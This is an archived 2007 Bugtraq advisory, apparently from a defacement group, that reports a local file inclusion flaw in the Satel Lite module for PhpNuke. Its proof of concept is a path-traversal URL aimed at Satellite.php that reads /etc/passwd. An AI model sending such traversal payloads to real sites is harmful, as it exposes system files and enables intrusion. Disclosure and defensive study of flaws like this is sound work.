bugtraq - Satel Lite for PhpNuke (Satellite.php) <= Local File Inclusion

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20070326145404.4863.qmail@securityfocus.com>
Date: 26 Mar 2007 14:54:04 -0000
From: stormhacker@...mail.com
To: bugtraq@...urityfocus.com
Subject: Satel Lite for PhpNuke (Satellite.php) <= Local File Inclusion

+--------------------------------------------------------------------
+
+ Satel Lite for PhpNuke (Satellite.php) <= Local File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: NUke Satel lite
+ Class .............: LoCal File Inclusion
+ Risk ..............: high (LoCal File Execution)
+ Found by ..........: rUnViRuS
+ Original advisory .: http://www.sec-area.com/ http://www.worlddefacers.de/
+ Contact ...........: stormhacker[at]hotmail[.]com
+
+--------------------------------------------------------------------
+ PoC:
+
+http://www.example.com/nuke_path/Satellite.php?op=modload&name=../../../../../../etc/passwd&file=index
+
+
+--------------------------------------------------------------------
+ [W]orld [D]efacers [T]eam
+ Greets:
+ || rUnViRuS || - || papipsycho || - || HeX || - || Linux Master || BlackWHITE ||
+ || Pro Hacker || - || DARKFIRE ||
+
+-------------------------[ W D T ]----------------------------------